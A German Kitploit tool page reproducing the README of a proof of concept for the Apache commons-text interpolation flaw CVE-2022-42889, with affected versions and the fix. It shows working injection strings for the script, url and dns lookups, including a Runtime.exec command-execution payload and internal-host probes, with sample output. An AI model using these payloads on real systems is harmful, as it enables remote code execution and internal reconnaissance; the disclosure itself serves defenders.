Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-42889-PoC — Proof of Concept für die Apache commons-text-Schwachstelle CVE-2022-42889. | Kitploit
Tools/GitHubGitHub/seanwrightsec/cve-2022-42889-poc
SchwachstellenanalyseCode-AnalyseExploitationWebanwendungs-ExploitationPapers & ForschungLernen & Bildung
GitHubseanwrightsec/cve-2022-42889-poc

CVE-2022-42889-PoC

Proof of Concept für die Apache commons-text-Schwachstelle CVE-2022-42889.

Repository anzeigen
3417vor 3 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-42889 PoC

Dies ist ein Proof-of-Concept für die Sicherheitslücke CVE-2022-42889. Dieser Code führt den JavaScript-Code 195 + 324 aus. Falls anfällig, sollte die Ausgabe sein:

root@kitploit:~
PoC Output: 519

Um dies auszuführen, benötigen Sie:

  • JDK 11 oder höher
  • Maven

Wenn Sie nach einem Exploit-String gefragt werden, können Sie entweder Ihren eigenen Exploit-String angeben (und Enter drücken, um den String einzugeben) oder einfach Enter drücken, um den Standard-Exploit-String ${script:javascript:195 + 324} zu verwenden.

Docker

Alternativ können Sie Docker verwenden, um dieses PoC auszuführen:

root@kitploit:~
docker build -t poc .
docker run -it poc

Was ist das Problem?

Das Problem rührt daher, dass die folgenden Schlüssel standardmäßig nicht interpoliert werden sollten (gemäß der Dokumentation https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/lookup/StringLookupFactory.html):

  • script
  • dns
  • url

script

Dieses Lookup ermöglicht die Ausführung des bereitgestellten JavaScript-Codes. Das Ergebnis ist die Fähigkeit eines Angreifers, beliebigen Code auf dem System auszuführen.

Format

root@kitploit:~
${script:<engine>:<code>}

Example

root@kitploit:~
${script:javascript:java.lang.Runtime.getRuntime().exec('mkdir poc-test')}

Beispiel im PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}
Warning: Nashorn engine is planned to be removed from a future JDK release
===================================================================================================================
Exploiting PoC with the exploit string '${script:javascript:java.lang.Runtime.getRuntime().exec("mkdir poc-test")}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
Process[pid=67, exitValue=0]
===================================================================================================================

url

Dieses Lookup ruft die angegebene URL auf. Ein Angreifer könnte dies ausnutzen, um grundlegende GET-Anfragen an interne Ressourcen zu stellen.

Format

root@kitploit:~
${url:<character-encoding>:<url>}

Example

root@kitploit:~
${url:UTF-8::https://internal-jenkins.companyx.net/}

Beispiel im PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${url:UTF-8:https://www.google.com/}
===================================================================================================================
Exploiting PoC with the exploit string '${url:UTF-8:https://www.google.com/}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
<!doctype html><html itemscope="" itemtype="http://schema.org/WebPage" lang="en-GB"><head>
....
</body></html>
===============================================================================================

dns

Dieses Lookup führt eine DNS-Abfrage oder einen Reverse-Lookup durch. Dies könnte einem Angreifer ermöglichen, interne Ressourcen zu identifizieren.

Format

root@kitploit:~
${dns:<address,canonical-name,name>|<host>}

Example

root@kitploit:~
${dns:address|internal-jenkins.companyx.net}

Beispiel im PoC:

root@kitploit:~
Enter your exploit string (press Enter to use the default of '${script:javascript:195 + 324}'): 
${dns:address|www.google.com}                                                         
===================================================================================================================
Exploiting PoC with the exploit string '${dns:address|www.google.com}'
===================================================================================================================
PoC Output:
-------------------------------------------------------------------------------------------------------------------
142.250.200.4
===================================================================================================================

Aufgrund eines logischen Fehlers werden diese 3 Schlüssel jedoch standardmäßig interpoliert, obwohl sie es nicht sollten (da sie ein Sicherheitsrisiko darstellen könnten).

Was ist das Risiko?

Ein Angreifer, der Kontrolle über den String hat, der in eine betroffene StringSubstitutor-Ersetzung übergeben wird, könnte dem Angreifer ermöglichen:

  • JavaScript-Code auf dem System (typischerweise einem Server) auszuführen, der den StringSubstitutor-Code ausführt
  • Von dem betroffenen System aus eine Verbindung zu anderen Servern herzustellen
  • Möglicherweise Zugriff auf andere entfernte Ressourcen des betroffenen Systems zu erhalten

Bin ich verwundbar?

Damit Ihr Code verwundbar ist, müssen folgende Bedingungen erfüllt sein:

  • Sie verwenden eine Version von Apache commons-text von Version 1.5.0 bis (ausschließlich) 1.10.0

  • Sie verwenden Interpolation für Ihre StringSubstitution (siehe https://commons.apache.org/proper/commons-text/apidocs/org/apache/commons/text/StringSubstitutor.html)

  • Beachten Sie, dass in JDK 15 und später die JavaScript-Engine Nashorn nicht mehr enthalten ist. Allerdings ist die JEXL-Engine weiterhin enthalten, sodass RCE möglicherweise weiterhin möglich ist.

    (Dank an rgmz für den Hinweis darauf)

Offizieller Fix

Die Behebung besteht darin, Ihre Instanzen von commons-text auf Version 1.10.0 oder höher zu aktualisieren.

Hinweis

Die anderen Standard-Lookups könnten ebenfalls ein Sicherheitsrisiko darstellen (z. B. die Möglichkeit, Dateiinhalte zu lesen, Systemeigenschaften zu lesen usw.). Verwenden Sie diese Funktion mit Vorsicht und stellen Sie sicher, dass alle Benutzereingaben ordnungsgemäß bereinigt werden (z. B. durch eine Positivliste).

Tool herunterladen